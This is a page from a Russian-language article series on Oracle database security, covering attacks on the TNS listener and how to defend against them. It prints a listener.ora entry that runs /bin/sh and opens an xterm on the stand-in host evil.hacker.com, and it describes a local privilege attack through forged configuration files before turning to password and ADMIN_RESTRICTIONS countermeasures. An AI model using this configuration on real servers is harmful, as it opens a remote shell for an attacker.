Базы данных Oracle - статьи


Oracleinfsec.shtml - часть 9


(SID_DESC=
(SID_NAME=Hacked)
(ORACLE_HOME=/data/oracle/OraHome1)
(PROGRAM = /bin/sh)
(ARGS = -c, /usr/bin/xterm -display evil.hacker.com:0)
)

Затем нужно перезагрузить листенер (RELOAD) и попытаться соединиться с SID “Hacked”, при успешном соединении в узле “evil.hacker.com” появится окно эмулятора терминала xterm;

  • и, наконец, если нарушитель сможет получить на целевой машине локальную учетную запись, если это UNIX и у листенера установлен бит SUID, то появляется возможность выполнять команды как пользователь Oracle, создавая в локальном каталоге файлы LISTENER.ORA и TNSNAMES.ORA, а затем с помощью установки переменной окружения TNS_ADMIN заставляя листенер читать их. Попытки соединения с сервисом, определенном в этих сфабрикованных файлах, заставят листенер выполнять процесс как пользователь Oracle.

Эта атака невозможна в системах NT, поскольку в них листенер работает как сервис NT. Для того чтобы запустить листенер, атакующий пользователь должен иметь возможность создания сервиса NT, то есть уже быть привилегированным пользователем.

Меры противодействия – установка параметров защиты листенера

Для защиты листенера от атак можно использовать два конфигурационных параметра, связанных с безопасностью:

  • если требуется удаленное администрирование листенера, командой lsnrctl “change_password” установите пароль. После этого без задания пароля (командой lsnrctl set_password) нельзя будет использовать никакие команды для остановки или реконфигурирования листенера;
  • на сервере в файле listener.ora можно включить опцию ADMIN_RESTRICTIONS (как это описано в [NETREF, 8-10]), которая запрещает любые попытки удаленного администрирования независимо от того, задан ли пароль. Разрешается только останавливать (команда STOP) и перезагружать листенер (команда RELOAD). Ясно, что это не защищает от простых атак типа “отказ в обслуживании”.

Подразумевается, что установка пароля и опции ADMIN_RESTRICTIONS взаимно исключают друг друга, то есть ADMIN_RESTRICTIONS устанавливается вместо пароля. Установка как пароля, так и ADMIN_RESTRICTIONS, отключает конфигурационные команды, разрешенные в ADMIN_RESTRICTIONS. В таком случае необходимо вручную изменять файл listener.ora, а затем для ввода этих изменений в действие нужно выполнять команду RELOAD (с заданием пароля листенера).

Атаки баз данных




Начало  Назад  Вперед



Книжный магазин